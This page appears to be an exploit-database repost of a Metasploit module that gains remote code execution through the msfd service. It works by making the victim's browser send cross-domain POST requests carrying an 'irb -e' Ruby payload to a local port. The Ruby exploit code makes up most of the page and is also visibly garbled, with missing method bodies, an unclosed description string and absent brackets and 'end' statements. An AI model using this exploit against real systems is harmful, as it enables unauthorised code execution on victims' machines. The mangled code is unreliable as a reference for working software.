Metasploit Framework – ‘msfd’ Remote Code Execution (via Browser) (Metasploit)

Authors:Metasploit          Risk:High

CVE:NO                     0day:Remote Code Execution 

0day -id:0DAY-176135        Date:2018-05-03


The Metasploit project is a computer security project designed to provide security vulnerability information. It can assist security engineers in penetration testing and signature development of intrusion detection systems.

The most well-known subproject of the Metasploit project is the open source Metasploit framework, a set of tools for the development and execution of “exploit code” for remote hosts. Other important subprojects include the Opcode database, shellcode files, security research, and more.

The well-known features of the Metasploit project also include anti-forensics and circumvention tools, some of which have been built into the Metasploit Framework.


# This module requires Metasploit:
# Current source:
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpServer::HTML
  def initialize(info = {})
     'Name'           => 'Metasploit msfd Remote Code Execution via Browser',
     'Description'    => %q{
      Metasploit's msfd-service makes it possible to get a msfconsole-like
      interface over a TCP socket. This module connects to the msfd-socket
      through the victim's browser.
      To execute msfconsole-commands in JavaScript from a web application,
      this module places the payload in the POST-data. These POST-requests
      can be sent cross-domain and can therefore be sent to localhost on the
      victim's machine. The msfconsole-command to execute code is 'rbi -e
      Exploitation when the browser is running on Windows is unreliable and
      the exploit is only usable when IE is used and the quiet-flag has been
      passed to msf-daemon.
      'License'        => BSD_LICENSE,
      'Author'         => 'Robin Stenvi <robin.stenvi[at]>',
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Targets'        =>
          [ 'Automatic', {}],
      'Payload'        =>
          'Space' => 8192,  # Arbitrary limit
          'DisableNops' =>  'True',
          'BadChars' => "\x22\x0a"
      'DisclosureDate' => 'Apr 11 2018',  # Vendor notification
      'DefaultTarget'  => 0))
      register_options(['REMOTE_IP', [true, 'Remote IP address when called from victim', '']),'REMOTE_PORT', [true, 'Remote port the service is running at', '55554'])
  def exploit
  def on_request_uri(cli, request)
    msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"
    sc = payload.encoded
    shellcode = "\\x" + sc.unpack('U'*sc.length).collect {|x| x.to_s 16}.join("\\x")
    var1 = rand_text_alpha(rand(6..11))
    var2 = rand_text_alpha(rand(6..11))
    html =  <<-EOS
var #{var1} = new XMLHttpRequest();
#{var1}.open("POST","http://#{datastore['REMOTE_IP']}:#{datastore['REMOTE_PORT']}/", true);
var #{var2} = String("#{shellcode}");
#{var1}.send("irb -e \\"" + #{var2} + "\\"\\n");
    print_status("#{msg} Sending HTML...")
    send_response(cli, html, { 'Content-Type' => 'text/html' })

Leave a Reply